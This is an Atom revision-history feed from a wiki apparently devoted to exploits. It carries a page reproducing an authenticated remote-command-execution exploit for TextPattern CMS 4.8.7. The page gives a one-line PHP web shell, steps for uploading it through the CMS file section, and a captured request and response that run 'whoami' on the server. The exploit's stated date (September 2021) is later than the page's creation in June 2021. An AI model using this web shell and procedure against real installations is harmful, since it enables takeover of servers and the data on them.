<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=TextPattern_CMS_4.8.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>TextPattern CMS 4.8.7 遠程代碼執行漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=TextPattern_CMS_4.8.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=TextPattern_CMS_4.8.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-13T09:04:58Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=TextPattern_CMS_4.8.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5061&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影响版本==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=TextPattern_CMS_4.8.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5061&amp;oldid=prev"/>
		<updated>2021-06-15T01:26:51Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影响版本==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==影响版本==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TextPattern CMS 4.8.7&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)&lt;br /&gt;
# Date : 2021/09/06&lt;br /&gt;
# Exploit Author : Mert Daş merterpreter@gmail.com&lt;br /&gt;
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip&lt;br /&gt;
# Software web : https://textpattern.com/&lt;br /&gt;
# Tested on: Server : Xampp&lt;br /&gt;
&lt;br /&gt;
First of all we should use file upload section to upload our shell.&lt;br /&gt;
Our shell contains this malicious code: &amp;lt;?PHP system($_GET['cmd']);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Go to content section .&lt;br /&gt;
2) Click Files and upload malicious php file.&lt;br /&gt;
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;&lt;br /&gt;
&lt;br /&gt;
After upload our file , our request and respons is like below :&lt;br /&gt;
&lt;br /&gt;
Request:&lt;br /&gt;
&lt;br /&gt;
GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1&lt;br /&gt;
Host: 127.0.0.1&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)&lt;br /&gt;
Gecko/20100101 Firefox/89.0&lt;br /&gt;
Accept:&lt;br /&gt;
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&lt;br /&gt;
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Connection: close&lt;br /&gt;
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;&lt;br /&gt;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Thu, 10 Jun 2021 00:32:41 GMT&lt;br /&gt;
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20&lt;br /&gt;
X-Powered-By: PHP/7.4.20&lt;br /&gt;
Content-Length: 22&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&lt;br /&gt;
pc\mertdas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>